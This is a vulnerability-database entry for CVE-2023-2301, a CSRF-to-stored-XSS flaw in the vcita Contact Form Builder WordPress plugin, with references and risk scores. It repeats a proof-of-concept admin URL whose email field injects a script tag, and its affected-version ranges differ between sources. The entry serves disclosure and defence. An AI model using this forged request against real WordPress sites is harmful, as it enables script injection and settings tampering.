CVE-2023-2301

🗓️ 03 Jun 2023 04:35:15Reported by WordfenceType

cve🔗 web.nvd.nist.gov👁 35 Views🌐 WEB

Contact Form Builder by vcita plugin for WordPress is vulnerable to Cross-Site Request Forger

Reporter	Title	Published	Views	Family All 13
ATTACKERKB	CVE-2023-2301	3 Jun 202305:15	–	attackerkb
CNNVD	WordPress plugin Contact Form Builder by vcita 跨站请求伪造漏洞	3 Jun 202300:00	–	cnnvd
Cvelist	CVE-2023-2301 Contact Form Builder by vcita <= 4.10.3 - Cross-Site Request Forgery to Stored Cross-Site Scripting	3 Jun 202304:35	–	cvelist
EUVD	EUVD-2023-33807	3 Oct 202520:07	–	euvd
NVD	CVE-2023-2301	3 Jun 202305:15	–	nvd
Patchstack	WordPress Contact Form Builder by vcita Plugin <= 4.10.2 is vulnerable to Cross Site Scripting (XSS)	5 Jun 202300:00	–	patchstack
Prion	Cross site request forgery (csrf)	3 Jun 202305:15	–	prion
Positive Technologies	PT-2023-18816 · Vcita · Contact Form Builder By Vcita	3 Jun 202300:00	–	ptsecurity
RedhatCVE	CVE-2023-2301	23 May 202503:16	–	redhatcve
Vulnrichment	CVE-2023-2301 Contact Form Builder by vcita <= 4.10.3 - Cross-Site Request Forgery to Stored Cross-Site Scripting	3 Jun 202304:35	–	vulnrichment

NVD

Vulners

Node

vcita contact_form_builder_by_vcitaRange≤4.9.1wordpress

[
  {
    "vendor": "eyale-vc",
    "product": "Contact Form Builder by vcita",
    "versions": [
      {
        "version": "0",
        "status": "affected",
        "lessThanOrEqual": "4.10.3",
        "versionType": "semver"
      }
    ],
    "defaultStatus": "unaffected"
  }
]

Source	Link
blog	www.blog.jonh.eu/blog/security-vulnerabilities-in-wordpress-plugins-by-vcita
plugins	www.plugins.trac.wordpress.org/browser/contact-form-with-a-meeting-scheduler-by-vcita/trunk/system/parse_vcita_callback.php
plugins	www.plugins.trac.wordpress.org/changeset/3200766/contact-form-with-a-meeting-scheduler-by-vcita/trunk/system/parse_vcita_callback.php
wordfence	www.wordfence.com/threat-intel/vulnerabilities/id/61c39f5f-3b17-4e4d-824e-241159a73400

Parameter	Position	Path	Description	CWE
success	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
uid	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
first_name	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
last_name	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
title	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
confirmation_token	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
confirmed	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
engage_delay	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
implementation_key	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352
email	query param	example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a-a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>	CSRF that allows modification of settings and potential data/script injection via a forged request.	CWE-352

08 Apr 2026 18:18Current

6.7Medium risk

Vulners AI Score6.7

CVSS 3.16.1

EPSS0.00306

SSVC

CWE-352